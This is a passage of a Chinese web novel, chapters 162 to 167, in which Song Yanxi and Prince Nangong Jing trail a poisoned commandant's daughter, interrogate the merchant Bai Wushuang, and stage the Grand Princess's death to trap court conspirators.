随着宋颜夕的动作,李梦安的脸色逐渐变得青黑,一股黑气顺着她的手腕一直向上,很快就蔓延到脖颈处。 下一刻,她金币的眸子倏然睁开,那猩红的眸子,如泣血的玛瑙一般。就连手指甲上都长出了一层尖锐的黑色物体。 “师父小心。” 蒋文彦想要拉开宋颜夕,然而有人比他更快一步。 当李梦安的“爪子”落下的时候,南宫景已经揽着宋颜夕的腰退到一边。 “这次发作,好像比上次还猛啊。” 宋颜夕的目光落在李梦安那忽然长出来的黑长“指甲”上。 “大概是因为释放了体内的全部毒素。” 南宫景目光微沉:“看来,李梦安上次被找回来的时候,体内的毒就已经被压制了一部分了。” 那些人是故意将李梦安放回来的。 他们,究竟想利用李梦安做些什么呢? “别着急制服她。” 宋颜夕提醒,“那些人想利用李梦安搅弄风云,就一定在她身上下达了某种指令,如今这指令被我们破坏,幕后之人肯定坐不住了。” 南宫景使了一个假动作,故意将李梦安放走。 “梦安郡主犯病了,快拦住她。”宋颜夕扯着嗓子喊了一句。 很快,大长公主府立刻亮起了火把。 犯了病的李梦安力大无穷,普通护卫竟然不是她的对手。 再加上南宫景有意放水,在闹成一团之后,李梦安就趁乱逃出了大长公主的府邸。 黑暗中,段恒和紫翎分别趴在道路两侧的屋顶上。见李梦安跑出府之后,他们趁着月色追了上去。 为了麻痹敌人的耳目,宋颜夕和南宫景、蒋文彦是在乔装打扮之后才从后门偷偷离开的。 根据段恒和紫翎留下的线索,他们追到了郊外的一处破庙。 “姑娘” “王爷!” 紫翎和段恒同时开口,“郡主就在里面。” “你俩还挺有默契的嘛。”宋颜夕调侃。 紫翎别过头去:“姑娘,我和他不熟。” 不熟哥段恒轻咳一声,走到南宫景身边低语:“庙里只有郡主一人,王爷,可要属下进去将郡主带出来?” “不急!” 南宫景看向破庙的方向:“她不会无缘无故来到这个地方的,先看看。” 他们在破庙外足足等了半个时辰都没见到李梦安出来。 “怎么还没有动静,郡主不会出事了吧?”蒋文彦有些不安。 “不会,后面也有我们的人看着。”段恒笃定地说道。 就在此时,夜色中忽然传来一道惊呼声。 几人交换了眼神,立刻朝破庙的方向冲了过去。 “阿木,你还好吗?” 破庙里,一个黑衣男子捂着腹部倒在地上,而他身后的窗户大开着,李梦安不知所踪。 阿木看向南宫景:“属下未完成任务,让郡主逃了。请王爷恕罪。” “段恒,先带阿木下去疗伤。” 南宫景走到窗户边,看向那漆黑的林子。 “鱼儿上钩了。” 第162章:再见白无双 宋颜夕从腰间的竹筒里放出几枚泛着绿光的飞虫。 那些飞虫在破庙里绕了一圈之后,飞出窗外。 “走吧,她往东南方走了。”宋颜夕说着,直接从窗户上翻了出去。 从一开始,他们就不认为那幕后黑手会直接和李梦安“接头”。 之所以唱这么一出戏,不过是为了让幕后之人放松警惕,好让他认为自己的计谋得逞了。 早在让李梦安服下药丸的时候,宋颜夕就在她身上动了手脚。 如今有了这流光萤,无论李梦安去了哪儿,他们都能找到。 “又是这儿!” 楚王府别院——柳园。 “莫非真的与屠龙会有关?”宋颜夕和南宫景对视一眼。 “屠龙会,那是什么?”蒋文彦问。 “乱党。”宋颜夕言简意赅地解释。 “姑娘,可要我潜进去探查一番?”紫翎的行动力向来一绝,说话的时候,她已经撸起袖子准备跃上墙头。 “你们都留在外面。” 南宫景先宋颜夕一步开口:“南宫宴不是个好对付的角色,此地,本王一人进入便可。” “王爷不可。” 段恒挡在南宫景面前,“您千金之躯,怎能孤身犯险?还是属下来探路吧。” “这是命令。你们就在外面候着,若有需要,本王会给你们发信号。” 南宫景的话不容置喙,段恒只能默默让开。 然而南宫景的前面却再次出现了一个人。 “你可以不带他们,但我,必须和你一起去。” “姑娘!”紫翎想要阻拦她,却被她一个眼神制止了。 “不行。”南宫景态度坚决,“此地危险,宋姑娘你......” 宋颜夕直接打断他:“你知道如何驱使流光萤吗?若是遇到李梦安,你知道如何制服她而不伤她性命吗?” “我......” 南宫景看着她,见她眼中闪烁着微光,这才长叹一声:“罢了罢了,那便请宋姑娘随我走一趟。” 左右,他总是能护住她的。 凭南宫景的能力,十分轻松就带着她越过了柳园的墙头。而且,没有惊动园中的护卫。 “在那边。” 宋颜夕再次放出流光萤,二人一路跟着来到柳园西北角的一处院落。 “看来,这地方荒废已久。” 岂止是荒废已久,那地上的杂草都有半个人这么高了。 不过也幸好这杂草足够高,有助于他们隐藏身形。 “快看,李梦安在那。” 宋颜夕朝前指了指。 此时此刻,李梦安就如同一尊木偶一般站在一处屋檐下,而在她面前,站着另外两个身穿黑色斗篷的人。 那两人的脸都隐藏在斗篷之下,他们并不能确认那对方的身份。 “竟然破了尊上的恶灵咒,大长公主府何时来了这样的高手?”其中一个黑衣人说了一句。 那人声音沙哑低沉,显然是经过伪装的。 另一人亦是如此:“就连卢郡王都认为李梦安的病已经好了,那个人,不简单。” “现在怎么办?要杀了她灭口吗?” 另一人摇了摇头:“这女人还有些用处。” 他绕着李梦安走了一圈,贴在她耳边说了几个字。最后,塞了一把匕首在她手里:“去吧。” 李梦安机械地握住那把匕首,眼中的红光更甚:“杀了她,杀了她。” 她始终重复着这句话,迈着僵硬的步子朝宋颜夕所在的方向走来。 借着月色,宋颜夕看见她眼中的猩红逐渐褪去,脸色也恢复了正常肤色。 若是忽略她那如提线木偶一般的动作,或许会认为李梦安已经恢复了正常。 经过他们身边的时候,李梦安眼珠子都没转一下。 显然,她现在虽然在行走,却是个看不见的“瞎子”。 趁着她不注意,宋颜夕用银针在她身上扎了一下。 李梦安脚步一顿,但很快又继续维持着刚刚的动作朝前走去。 做完这一切之后,宋颜夕不再看李梦安,而是转头朝那两个黑衣人的方向望了过去。 “你说,尊上的计划能成功吗?” “你在质疑尊上?” 那人摆摆手:“我哪儿敢质疑尊上啊,但不知为何,我总觉得这事没这么简单。你说,到底是谁破了恶灵咒呢?难不成,咱们的计划被发现了?” 令一人抬腿朝前走去:“你话太多了。” “这漫漫长夜,闲着也是闲着嘛。老八,你就是性子太冷了,你这样,是交不到朋友的。” “做咱们这行的,不需要朋友。” 那两个黑衣人的性格完全相反,一个是话痨,另外一个就显得高冷许多。 听着他们的脚步越来越远,宋颜夕朝南宫景比了个手势:“怎么样,还跟不跟?” 南宫景用实际行动回答了她的问题。 不过为了不打草惊蛇,他们一直是远远跟着。 另一边,段恒和蒋文彦也跟上了李梦安。 至于紫翎,始终守在柳园外等着宋颜夕归来。 殊不知,宋颜夕已经跟着那两个黑衣人从另一个方向离开了。 那两个黑衣人离开柳园之后,去了一个他们都很熟悉的地方。 “又是黄金楼。” 当他们再次站在黄金楼门前,都从对方眼中看到了一种了然。 黄金楼是个热闹的地方,无论哪一次来,这儿总是挤满了人。 不过近日,这楼却显得格外安静。 “进去吗?”南宫景问。 宋颜夕整了整衣裳:“你说呢?” 南宫景带着她直接从二楼的窗户翻了进去。 因为今日休沐,楼内只亮着几盏微弱的光。 南宫景驻足听了一会儿,指着某个方向对宋颜夕比了个口型。 果然,他们在三楼的某个房间里听到了谈话声。 当他们靠近那个房间的时候,身后忽然响起一道温和的声音:“贵客深夜光顾我黄金楼,白某有失远迎。” 宋颜夕和南宫景的脚步同时停下。 转身一看,身后站着的那个清瘦男子不是白无双又是谁。 “今夜黄金楼闭门休沐,怕是无法招待二位贵客了。” 白无双的表情始终淡淡的,没有招揽客人的热情,也没有因为他们的闯入而露出丝毫不满。 那语气,平稳得就像他们只是误入此地地客人而已。 但他们都知道,眼前这男人已经看出了他们的意图。 宋颜夕不动声色地掏出银针,脸上却是不露分毫:“原来今日休沐啊,我说怎么如此冷清呢。既然如此,那我们便先走了。” 说罢,她拉起南宫景就往楼梯的方向走去。 然而刚走了两步,眼前却忽然多了一把扇子。 “来都来了,不妨进屋喝杯茶。” 第163章:对峙 宋颜夕还没有所动作,南宫景就已经一掌打飞了她面前的扇子。 刹那间,一黑一百两道身影斗在一起。 白无双的武功比宋颜夕想象中还要高许多,几个回合之间,竟然和南宫景打成平手。 “贵客放心,白某并无他意。” 白无双收起扇子,与南宫景拉开距离,“不过是想请二位喝杯茶而已,毕竟,二位可是我们的至尊贵宾。” 宋颜夕和南宫景对视一眼。 他们可是易容了的,白无双究竟是怎么一眼认出他们的? “来吧贵客,我们黄金楼的茶,喝过的可是都说好呢。” 说罢,白无双率先打开了那扇禁闭的门。 屋内空空如也,他们追踪的那两个人显然已经趁机溜走。 他们二人同时看向白无双。 这个人,和那两个人是一伙的。 “既然白掌柜如此盛情,我们若是再拒绝,岂不是不识好歹吗?” “贵客,里面请。” 白无双拍了拍手,立刻有几个丫鬟打扮的人端着托盘走了进来。 “这可是今年新摘的明前茶,二位,尝尝?” “白掌柜不是东越人士吧?” 推背换盏之间,南宫景忽然问了一句。 白无双微微一愣:“贵客是是如何看出来的?白某在黄金楼这么多年,还从未I有人怀疑过我的身份呢。” “你虽然伪装得很好,但习惯是不会骗人的。白掌柜喝茶的时候,杯子朝i西南方转了半圈。” 这,是南夏的习俗。 “贵客当真是慧眼如炬。白某祖上确实是南夏人士,不过,这并不妨碍我在东越谋个营生吧?白某记得,当初这通商的政策,还是您提出来的,战王殿下。” 宋颜夕喝茶的动作一顿。 这个白无双有些能耐啊,竟然已经知道南宫景的身份了吗? 如此一来,他上回将他们的金元宝归还,该不会是想要巴结南宫景吧? “既然知道本王的身份,还胆敢放走本王追捕之人,究竟是谁给你的胆量呢?白掌柜?” “王爷这可就冤枉白某了。” 说着,白无双朝门外喊了一句:“带进来吧。” 门一开,两道黑影就被踹了进来。 宋颜夕眼睛微眯:“竟然是他们?” 虽然依旧黑巾蒙面,但身形和他们在追踪的那两个人十分相像。 但此时此刻,这两个人已经变成两具尸体了。 “你杀了他们?”宋颜夕问。 白无双展开扇子摇了摇:“白某向来是奉公守法的,怎么会啥人呢?你,向二位贵客说明情况。” 白无双指着的,是一个身高九尺的大汉。 那大汉抱着拳头答道:“我本想将人逮住送官查办,结果,这二人实在是不要命,见打不过我,竟然一头撞死在柱子上。你看,脑浆都飞出来了。” 那大汉说着,弯腰扯下那两个黑衣人脸的面巾。 那一刻,宋颜夕差点一口喷出嘴里的茶。 正如这大汉说的一样,那两个人脑浆迸裂,血肉模糊,根本连五官都无法辨认。 “把自己撞成这样,这两人对自己够狠的啊。” 宋颜夕意有所指。 “大概是不想受刑,又怕撞不死自己,这才用了蛮力吧。” 白无双一边说一边摇头:“这二人也是把路走窄了,干什么不好,非要与战王殿下为敌呢?落得这样的结局,也是他们咎由自取。您说对吧,王爷。” 白无双的话说得漂亮,却又暗中内涵南宫景。 宋颜夕在旁边听着,只觉得这白无双是个难搞的角色。 短短时间之内,竟然就把同伙以如此残忍的手段杀害,这样的对手,不得不让人毛骨悚然。 偏生,他脸上的表情从头到尾都没有太大的变化。甚至,笑意还更深了一些。 “按照白掌柜的说法,本王还要多谢你了。” “不敢不敢,能为王爷效劳是白某的福分。” “既然如此,那随本王走一趟,也是你的福分咯?” 南宫景目光一沉,反手抓住了白无双的手腕。 “公子!” 九尺大汉高喊一声,举起手中的榔头就要朝南宫景身上打去。 “住手!” 没等到南宫景出手,白无双率先一脚踢飞了那大汉手中的榔头,“怎么能对战王殿下无礼呢?” 说着,他看向南宫景:“况且我只是个本本分分的生意人。王爷向来爱民如子,肯定不会对我屈打成招的,对吧?” “那就要看你配不配合了。” 南宫景直接把白无双带到了大理寺地牢。 这也是宋颜夕第二次见到裴子耽。 “王爷,您怎么亲自押着犯人来了?您派人来说一声,我好迎接您啊。” 作为南宫景的顶级迷弟,裴子耽在见到南宫景的时候就像哈巴狗见了肉骨头,那嘴角都能翘到天上去。 宋颜夕扯了扯嘴角没有说话,反倒是南宫景看起来一脸不悦的样子。 “你别多想,我和他只是普通的上下级。” 宋颜夕笑着摆手:“没多想没多想,他看你的眼神绝对清白。” 说着,他们已经来到地牢的第二层。 “没想到,你们大理寺的地牢五脏俱全啊。” 看着那一排排刑具,白无双表现得十分坦然。 那怡然自得的模样,不像是来坐牢,却像是来游山玩水的。 他甚至还对其中几样刑具评头论足起来。 “注意你的身份,老实交代,你和那两个黑衣人是什么关系?你们在密谋什么?为何要对梦安郡主下毒?” 在除了南宫景以外的人面前,裴子耽这个大理寺少卿倒是威严得很。嘴一开一合,问题就一个一个往外蹦。 白无双被绑在十字架上,依旧是那副云淡风轻的样子:“我已经说过了,我不认识那两个小贼。我还帮着王爷抓贼呢,这一点王爷可以为我作证。” “真当大理寺是吃素的不成?就那俩人那死状,你说他们是畏罪自杀?” 裴子耽一声令下,立刻有几个衙役拿着刑具走了上来。 “白掌柜贵人事忙,若是不让你领教领教大理寺的酷刑,岂非白来这一遭?” 烛火映着裴子耽的脸,将他精致的五官衬出几分阴冷之色。 眼看那衙役手中的鞭子就要落在白无双身上,他忽然挣断身上的绳索,一个侧空翻躲了过去。 “我可是看在战王的面子上才来这一遭的,裴少卿,你这待客之道未免也太令人心寒了。” “来人呐,给我按住他。” 很快,白无双就被五六个衙役围在中间。 至于南宫景,将人带到地牢之后就在隔壁牢房的“雅座”上看戏。 “王爷,你就让裴少卿这般胡闹吗?” 对于那些人的围攻,白无双丝毫不放在心上,反而转身透过铁栏看向另一间房,“方才忘了告诉王爷,白某手上有个消息。” 说着,他的目光从南宫景身上转移到宋颜夕那儿:“和您的这位,红颜知己有关。” 第164章:单独谈 “都退下!” 眼看衙役已经高高举起了刀,南宫景忽然高喊了一声。 他从椅子上站了起来,朝白无双的方向走了几步:“白掌柜这是要与本王做交易?你似乎忘了,这是谁的地盘。” “我当然知道这是王爷的地盘,但,白某相信,这个消息一定能从王爷手中买一条命。” 见南宫景动摇,宋颜夕赶紧说了一句:“他在诓骗你呢,可别上当。” “姑娘这话就说得不对了,白某什么都没说,姑娘如何知晓白某是在说瞎话呢?” “那你倒是说说看,你都知道什么?” 宋颜夕可不认为眼前这男人当真能说出个子丑寅卯来。 “既然是姑娘叫我说的,那白某就恭敬不如从命了。白某不才,略懂一点占星之法,据我推测,姑娘你两月之内必有血光之灾。” “胡说八道!” 宋颜夕直接踢开牢房大门:“在本姑娘面前玩这一套。你可知,上一个神棍是什么下场?” 然而下一刻,她的表情就僵住了。 只因为白无双说了一句话:“姑娘当真以为,借命便可得永生吗?不是自己的东西,早晚要还的。” 此话一出,不仅是宋颜夕,就连南宫景的脸色都变了。 “你究竟知道多少?” 不过一个呼吸的功夫,南宫景已经捏住了白无双的脖子。 白无双眼中丝毫没有畏惧之色:“王爷何必动怒,只要您答应与我做一笔交易,我自能保证您的红颜知己安然无恙。” “王爷,切不可相信这贼人的话啊。此贼子包藏祸心,不如交给属下严加审查。” 南宫景眼中闪烁着惊涛骇浪,最终还是松了手。 “你们都出去,本王要与他单独谈。” “王爷不可。” 裴子耽还想说什么,却在捕捉到南宫景眼中的冷意时缩了缩脖子。 最后,便是连宋颜夕都没能留下。 出了地牢之后,裴子耽看向宋颜夕的眼神中多了一些探究。 “宋二姑娘,白无双刚刚的话是什么意思?为何你与王爷听了之后......” 问到一半,却见不远处有人走来。 裴子耽深深吐出一口气,将未说完的话咽了下去。 没有人知道南宫景和白无双到底谈了什么,当南宫景出来之后,做的第一个决定就是释放白无双。 “王爷,当真要放人吗?此人绝对不简单。” 裴子耽试图改变南宫景的决定,但是很显然,并没有用。 “你最好是循规蹈矩,别让我抓到你的小辫子。” 将白无双带出地牢的时候,裴子耽咬牙切齿地说了一句。 “裴少卿说得这是哪里话?白某可是良民啊,往后,我们黄金楼还需要仰仗大理寺多多关照。” 说着,他还冲裴子耽拱了拱手。 裴子耽冷哼一声,转过头去不再看他。 “时辰也不早了,白某便先行告退。王爷,别忘了咱们的约定!” 离开之前,他意味深长地看了宋颜夕一眼。 宋颜夕皱眉:“他到底什么意思?你们在里面谈了什么?” 南宫景却并没有告诉她的打算,只是抬头指了指天空,道:“都这个时辰了,也不知道李梦安那边如何了。不如,你随我一道去看看?” 说完,他也不顾宋颜夕同意与否,直接牵着她踏入了月色之中。 “少卿,那咱们呢?是否也散了?” 那三人都离开之后,衙役战战兢兢地问了一句。 裴子耽怒喝一声:“散什么散?没看王爷已经被那姓白的蛊惑了吗?都给我打起精神来,十二时辰给我盯死黄金楼。我就不信,抓不到那家伙的错处。” ...... “他到底跟你说了什么?你们达成什么交易了?这件事,和我有关吗?” 一路上,宋颜夕一直在重复问着同样的问题。 然而南宫景只是不痛不痒地敷衍她,对于那个所谓的交易,是只字不提。 一直到他们抵达大长公主府,宋颜夕都没得到有用的消息。 “你且安心做自己的事,白无双那边,交给我来解决。” 踏进大长公主府之前,南宫景忽然与他说了这样一句话。 “所以,你根本就没有信他?” “我是那么容易被骗的人吗?”南宫景反问,“对付那种难缠的家伙,就要用非常之法。” 宋颜夕摸了摸下巴:“话虽如此,但你方才的神情实在太奇怪了。南宫景,你该不会是在唬我吧?” “好端端我唬你做什么?别忘了,咱们可是盟友。” 二人一边走,一边说话。走到后院的时候,正好看到林昊站在那儿来回踱步。 “林昊?怎么是你?段恒和紫翎呢?”宋颜夕问。 林昊朝他们拱了拱手:“紫翎姑娘尚未归府,段恒寻她去了。” “还没回来?” 宋颜夕眉头微蹙,该不会是出什么事了吧? “李梦安如何了?”南宫景问。 “就在屋里,蒋公子在给她解毒呢。” 林昊简单讲了这一晚上发生的事。 从柳园出来之后,李梦安一路回了大长公主府,因为她的外表瞧不出异常,门房便直接将人放进来了。 进府之后,李梦安忽然晕了过去。大长公主闻讯赶来,躺在床上的李梦安却忽然拿着匕首朝大长公主身上刺去。 段恒早就埋伏在暗处,是以,在关键时刻阻止了李梦安的行为。 将李梦安弄晕之后,蒋文彦就在房内替她解毒,一直到现在都没出来。 “果然,那些人的目的是大长公主。” 宋颜夕忽然想到,紫翎初来东越的时候,也是一心要刺杀大长公主的。 若紫翎是受了巫黛的挑唆,意图以大长公主之死挑起两国争端。那么,屠龙会的目的是否也是这个呢? 一旦起了战事,屠龙会若要揭竿而起,便也少了许多阻碍。 “阿景和宋丫头回来了?” 说话间,大长公主在丫鬟的搀扶下走了过来。 南宫景立刻迎了上去:“阿姊怎地还没歇息?” “出了这么大的事,你让我如何歇息?” 大长公主一脸严肃,目光落在他们二人身上:“你们两个,就没什么向我解释的吗?” 第165章:你们何时这么亲密了 他们将李梦安中毒以及今夜所发生的事情都告诉了大长公主。 大长公主一听,脸上闪过诧异之色:“你们之间的关系,何时变得如此亲密了?” 说完,她若有所思地看向南宫景,“阿景,你跟我过来。” 南宫景直接被大长公主带走问话,宋颜夕则推开李梦安的房门走了进去。 她进入房间的时候,蒋文彦正好收针。 “师父,你回来了?” 见到宋颜夕,蒋文彦迅速朝她走了过来。 “如何了?”宋颜夕问。 “基本已经稳定下来了,但若要彻底解毒,还需师父出手。” 就在宋颜夕替李梦解毒的时候,大长公主已经将南宫景逼至墙角。 “阿姊这么看着我做什么?”南宫景面色微红。 “小子,老实交代,你是不是有什么事情瞒着阿姊?” “我能有什么事情瞒着你啊?这不是查案子嘛。” “我还不了解你吗?” 大长公主拉着他的衣服,替他弹了弹衣服上的灰,“从小到大,你对哪个姑娘不是敬而远之?若非如此,阿姊也不会隔三差五地给你相看姑娘。说吧,你和宋丫头到底是怎么回事?” 南宫景看着大长公主,眸光中闪过一道光芒。 “若我说,我心悦阿姊这位新收的义女,阿姊可会将我逐出家门?” 大长公主脸上的表情十分精彩。 最后,她幽幽叹了一口气:“就知道你对宋丫头与常人不同。可阿姊先前撮合你们的时候,你不是对她无意吗?若早知如此,我又何必唱这一出?” 如今她这弟弟竟然喜欢她的义女,那不是差了辈份,全乱套了吗? “阿姊你便放心吧,此事,我自有安排。” 南宫景并未将宋颜夕的真实身份告知大长公主,不过,大长公主对他的性子也是极为了解。 他既这么说,定然是不需要她再操心的。 “我不管你的计划是什么,在一切尘埃落定之前,你最好和宋丫头保持距离。若是传出什么风言风语损了她的声誉,便是你,我也照打不误。” 南宫景哭笑不得:“阿姊你就放心吧。” 便是他想与宋颜夕亲近一些,那丫头也不愿意啊。 自从知道他的身份之后,宋颜夕对他可是能避则避,便是说话也有了保留。 第二日的午后,李梦安幽幽转醒。 她睁开眼看到的第一个人,却是宋颜夕。 李梦安脸色一变:“怎么是你?” “是我很奇怪吗?” 宋颜夕将一个药碗递到她面前:“既然醒了,就赶紧把药喝了。也省得我灌你。” “这是你熬的?”李梦安一脸嫌弃。 正要将碗推开,却听宋颜夕说了一句:“我哪儿会熬药啊,这是蒋公子亲自熬的,郡主的闺房他不便进入,这才托我替你端来。” 李梦安一听这话,脸上瞬间扬起一抹笑容:“既然是蒋公子熬的,那必然是好药。” 说完,都不需要宋颜夕再说什么,直接断过药碗“咕噜咕噜”将那黑乎乎的药汁喝得一滴不胜。 看着她的动作,宋颜夕忍不住竖起大拇指:“郡主啊,先前是我对你有误解,在喝药这块,你可是真能吃苦啊。” 她在汤药中加了一味极苦的药材,为了充分发挥药效,并没有加糖。 本以为李梦安会闹大小姐脾气不肯进药,没想到竟然如此容易。 李梦安这才后知后觉地感到口腔里传来一种极致的苦涩感。 但在宋颜夕面前,她不想落了面子。 是以,她将那苦涩之味强行压了下去:“本郡主能不能吃苦,何须你来评论?本郡主要知道体内的毒是否都解了,你,却把蒋公子请来。” “郡主放心吧,只要你坚持服药三日,体内的毒便可彻底解了。” “你如何知晓?” 宋颜夕朝门口的方向指了指:“自然是蒋公子告知我的。” 说到这儿,宋颜夕将声音压低,“郡主如今清醒了,可还记得昨夜发生了什么?” “发生了什么?那毒素如此厉害,本郡主如何记得?” “这样啊。那郡主可要做好心理准备。” 李梦安一脸疑惑:“你这是什么意思?” 话音刚落,房门忽然被人踹开了。 带头走进来的,是戴着面具的南宫景。 “王爷?”李梦安下意识往后退了两步。 虽然她和南宫景也算是表亲,但对于这个男人,她一直以来都是畏惧的。 “李梦安刺杀大长公主,速速将她拿下,待本往禀明圣上,再行裁决。” 冷冷的几个字,瞬间将李梦安打入地狱。 她几乎是滚到了地上,又踉跄着走到了南宫景面前:“王爷这是什么意思?我何时刺杀表姑母了?” “郡主是忘记了吗?就在昨夜,你用这把匕首杀了大长公主。” 南宫景将匕首扔在李梦安脚下。 金属落地的声音敲击着李梦安的耳膜;“不可能的,表姑母这么疼我,我怎么会刺杀她呢?” 说着,她猛地转身指向宋颜夕:“是她,一定是她。是她骗我服药,说是可以彻底解了我身上的毒。这一点,王爷您也是知道的啊。” 当时,宋颜夕劝说她服药的时候,南宫景就在门外站着。 “宋二姑娘有心救你不假,但你刺杀公主也是真。如今公主重伤,生死难料,你还是去牢里好好反省反省吧。” 南宫景丝毫不听她辩解,抬手就让人将李梦安拉了下去。 李梦安被拖走的时候,正好看到蒋文彦站在不远处的廊檐下看着她。 “蒋公子,你能替我作证的对吧?我是被冤枉的啊......” 蒋文彦转过头去不再看她。一直到李梦安被拖走,他才走进了那间房。 “师父,师丈,咱们这么做是不是对郡主太残忍了。” “做戏做全套。” 宋颜夕看向屋外:“过几个时辰,便让府里挂起白幡吧。” “真要闹这么大?” 蒋文彦仍然有些忐忑,但见南宫景都没什么意见,他也不好再说些什么。 “你说,白无双会相信吗?” 没人的时候,宋颜夕问了一句。 “他信不信不重要。”南宫景捏了捏手指,“因为,暗害阿姊的人,根本就不是他。” “不是他?” 宋颜夕等着眼睛看向他:“若白无双与那两个黑衣人不是同伙,那他昨夜唱的又是哪一出?” 第166章:大长公主之“死” “他不过是想借此机会与我合作罢了。他抬上来的那两具尸体,便是投名状。” “这便是你们昨夜密谈的内容?他说他和那两个黑衣人不是同伙,你就这么轻易相信了?” 南宫景会如此轻易相信白无双的说辞,宋颜夕是不信的。 他们之间,必然还存在其他关联。 到底是什么呢? “宋姑娘如今与我是什么关系?我若是什么都告诉你了,你若对我图谋不轨,那我不是很危险吗?” 宋颜夕语气微扬:“你不相信我?” “宋姑娘也不相信我,不是吗?不如,你与我交换一个秘密?如此一来,你便能知道你想知道的了。” “切,本姑娘才不感兴趣呢。我就是怕你被那姓白的坑了。既然王爷行事如此缜密,想来是我多此一举了。” 南宫景眉头微展:“如此说来,宋姑娘是在担心我?” “不过是怕你连累我罢了。” ...... 公主府的人动作很快,还没到午时,府内上下就挂满了白幡。 当地牢里的李梦安得知这个消息的时候,一时急火攻心,晕了过去。 卢郡王赶到公主府的时候,见到的就是倒在草垛子上昏迷不醒的李梦安。 “安儿快醒醒,我是父王啊。” 虽然他是郡王,但南宫景并未给他特权。是以,他只能隔着铁栏呼唤着李梦安。 眼见李梦安丝毫没有反应,他急得抽出压抑腰间的大刀:“本网命令你们,赶紧将我的安儿放了,否则,就别怪本王手里的刀不留情面。” “哦?卢郡王莫不是也想在公主府杀人不成?” 南宫景的声音一响起,方才还气势凌人的卢郡王顿时像蔫儿了的黄瓜。 绿着一张脸,却又无可奈何。 “王爷这是何意?莫非,连你也相信安儿会刺杀公主殿下吗?” “本王也不愿意相信,但,事实就摆在眼前。念在郡王爱女心切,本王便不追究你的罪责,但若是再不离开,就别怪本王不讲情面了。” “王爷打算如何处置安儿?”卢郡王双眼通红。 南宫景恍若未见,说出的话不带一丝情感:“自然是,一命偿一命。” “王爷既与大长公主姐弟情深,便该知道我是无论如何都不会看着安儿死在你手里的。” 说着,卢郡王重新握紧手中的刀。 就在他拿刀冲向南宫景的时候,直接被南宫景一掌劈晕过去。 “既然卢郡王如此舍不得郡主,便让他待在这里,送郡主最后一程吧。” 大长公主遇刺不治身亡,卢郡王父女双双入狱的消息很快就在朝野中传开了。 一时之间,朝堂上人心惶惶。 刚从天牢里被放出来的国师一听此事,也是皱紧了眉头。 “大长公主怎么会在这个时候遇刺呢?可探听到什么消息了?”还没回到天心阁,国师就迫不及待地向随从打听消息。 那灰袍道人在他耳边轻声说了几个字,国师立刻停下脚步。 “当真是卢郡王府的郡主干的?” “此事怕是有蹊跷,但,梦安郡主是跑不了了。” “你的意思是,有人借李梦安的手刺杀公主?” 那人继续答道:“虽然还没有消息,但战王近日活动频繁。他似乎盯上了楚王。” “南宫宴?” 国师下意识做了个捋胡子的动作。 抬起手才发现,他的胡子早在之前的火灾中被烧光了。 一想到此事,他便觉得心中怒气更甚。 “既然战王怀疑南宫宴,那咱们不妨添把柴,让这把火烧得更旺一些。” ...... 同一时间,楚王府议事厅。 南宫宴坐在首座,下方坐着四名谋士。 “大长公主的事,你们怎么看?”南宫宴问。 “属下认为,此事不像假的。” “属下也赞同周老的看法。公主府的白幡都已经挂出来了,而且战王和卢郡王也闹掰了,应该不似作假。” “此事怪就怪在这儿,大长公主殒命,战王为何揪着咱们不放呢?我们好几处产业都被大理寺查封了。理由也是五花八门。大理寺归战王管辖,此事必定是他授意。” “莫非,战王认为是咱们害了大长公主?那不是荒谬至极嘛。” “定是有人在背后推波助澜。” “华先生的意思是?” 那个被称为华先生的男子捻了捻八字胡:“诸位不妨想想,近段时间和咱们作对的究竟是谁。” “华先生是怀疑,这一切都是国师的阴谋?” “我却不这么认为。”说话的是一个身穿墨绿色长袍的男子。 南宫宴看向那个男子:“哦?子录有何见解?” 郭子录起身,朝南宫宴拱了拱手:“众所周知,大长公主与战王虽是姐弟,实则更像母子。若大长公主当真遇害,战王断不会如此冷静。” ...... 大长公主府,花厅: 宋颜夕低头摆弄着一盆吊兰,漫不经心地问道:“王爷如今这般,哪儿像刚失去亲人的模样?既然做戏做全套,还请王爷也多上点心。你要实在掉不出眼泪,我这儿有特制的辣椒面。” 虽然她没有直接参与,却还是知道南宫景这两日拔掉了南宫宴的许多据点。 那雷厉风行的模样,实在不符合他此时的人设。 “这你就不懂了。” 南宫景端坐在茶座旁,不紧不慢地摆弄着手中的茶具:“我越是如此,他们才越是深信不疑。” “这不符合常理。不如,我还是给你用一用这特制的辣椒面吧。”宋颜夕起身,从一旁的布袋里掏出一些瓶瓶罐罐。 最终,她将一个红色的罐子递到南宫景面前。 “宋姑娘究竟是真的担心我穿帮,还是怀了别的心思?”南宫景虽然这么说,却还是接过了她手中的红罐子。 “我能有什么坏心思啊?王爷别忘了,咱们现在可是一根绳上的蚂蚱,我害谁都不能害你啊。” 她是绝对不会承认,她想趁机报那“辣椒面解毒丸”之仇的。 本以为南宫景接过那红罐子是打算采取她的意见。 结果,却见他将那红罐子塞进了自己的袖子里。 “虽然我用不着这东西,不过既然是宋姑娘特制的,必然有奇效。我先收着,以备不时之需。不知姑娘身上还有没有其他宝贝,不如,一并赠与我,如何?” 宋颜夕眯了眯眼。 她怀疑这男人光明正大地顺走她的东西,可是,她没有证据。 正在此时,林昊风风火火地闯了进来。 “王爷,鱼儿上钩了。” 第167章:狗咬狗 宋颜夕和南宫景同时转过身:“可是南宫宴?” 林昊摇头:“是国师。” “那个神棍?” 宋颜夕看向南宫景:“这么快就被放出来了?” “不算快了。那神棍能稳坐国师之位这么多年,必然是有些根基的。” 之所以拖到现在才放出来,也是因为他在幕后下了些功夫。 说完,南宫景看向林昊:“他做了什么?” 国师表面上没有做什么,只不过是出狱后偶然途经一个叫章裘的人府上。 从章裘府前经过的时候,他忽然灵光大开,声称那章裘府中有妖邪之气。其手段,与当初大张旗鼓冲进丞相府除祟一模一样。 虽然蹲了牢狱,但皇帝并没有撤了他的职。是以,当国师要冲入章府的时候,根本无人敢阻拦。 最后,国师还真的在章府后院的大树底下挖出了几个人形娃娃。那娃娃上写着大长公主和李梦安的生辰八字。 国师将此事上报,皇帝震怒,立刻下令查抄章家。 查抄时,又发现了章裘和楚王的来往信件。 “看来,祸水东引这一招甚是有效啊。那神棍果然咬着南宫宴不放。” 宋颜夕嘴角微勾:“那南宫宴如何应对?” “楚王直呼冤枉。此时,国师和楚王正在御前对峙呢。” 南宫景抬腿往外走:“想看戏?跟我走。” 南宫景直接带着宋颜夕进了宫,而且,是以大长公主义女的身份。 殿外,宋颜夕和她那位便宜爹爹不期而遇。 看到宋颜夕的时候,宋章脸上闪过错愕之色。 